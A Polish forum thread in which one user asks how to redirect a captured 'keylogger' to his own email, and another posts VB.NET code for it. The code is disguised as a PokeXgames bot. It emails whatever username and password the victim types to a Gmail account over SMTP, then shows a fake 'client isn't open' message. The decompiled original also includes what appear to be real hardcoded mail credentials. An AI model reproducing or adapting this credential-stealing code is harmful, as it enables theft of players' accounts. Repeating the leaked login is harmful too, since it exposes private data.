Problem

[cichyyy]

Witam, przechwycilem keyloggera w progrmie, dzialał bardzo mądrze dopoki nie zmienilem hasla na emailu, program wysyla dane za pomoca przycisku.

http://pastebin.com/8CkKRfS4 tu jest kod w ktorym pozmienialem co nieco, pytanie jest takie gdzie jeszce albo w jakim pliku zmienic coś aby wysyalo na moj email.

Tu jest bląd wyskakujący.



Uploaded with ImageShack.us


a tu szczegóły błędu
http://pastebin.com/XGNXCdi9


Prosilbym o pomoc

 

[barukoru]

'' Pozmieniaj sobie zeby Ci grało z richtextboxem

Imports System.Net.Mail

Public Class Cubone

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("tu Twoj mail", "tu Twoje hasło")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("tu jakiś mail")
mail.To.Add("jakiś [email protected]")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
End If
End Sub
MsgBox("PokeXgames Clients isn't open. Please open client first, and mark Old or New Client.")

End Sub

Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
MsgBox("Connect First.")
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("Connect First.")
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
MsgBox("Connect First.")
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
MsgBox("This Bot is created in USA by Crissoft.Thanks!")
End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
MsgBox("Connect First.")
End Sub

Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
MsgBox("Connect First.")
End Sub

Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
MsgBox("Connect First.")
End Sub
End Class

 

[cichyyy]

Zna sie ktos na tym?

 

[barukoru]

Widziałem kod żrodłowy i nic tam nie było.Zadnych funkcji za które odpowiadałby jakikolwiek button wiec jakiej Ty pomocy oczekujesz?Ktoś podał tylko swojego maila z hasłem.....(tyle z tego ciekawego).To miało coś być.Ktoś to tylko zaczął i nie dokonczył...

Imports System.Net.Mail

Public Class Cubone

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Mail As New MailMessage
Mail.Subject = RichTextBox1.Text()
Mail.To.Add("[email protected]")
Mail.From = New MailAddress("[email protected]")
Mail.Body = RichTextBox2.Text()

Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "minina010203")
SMTP.Port = 587
SMTP.Send(Mail)
MsgBox("PokeXgames Clients isn't open. Please open client first, and mark Old or New Client.")

End Sub

 

[cichyyy]

dziwne ze wszedlem na tamte konto i program dzialal, przestal dopier ogdyt zmienilem tylko emaila i haslo na wlasne w pliku formvb

 

[barukoru]

Plik form.vb nie ma tu zadnego znaczenia.Program exe ktoś sobie zrobił ale w srodku wpisał dane do swojego maila powiedzmy coś w stylu keyloggera.Ze żródła mozna odczytać tylko to co wkleileś.Sam program działał bo łączył sie z pocztą tego kto to robił.Z chwilą gdzie ktoś zmienił hasło do poczty program przestaje Ci działać i nie za działa.Jeszcze raz powtarzam że jest to bezużyteczne w tej chwili.Ty wpisałeś swój login i hasło w pliku Form.vb i nie wiem co chciałeś osiagnąć wpisując cokolwiek akurat tutaj.Możesz to wyrzucić.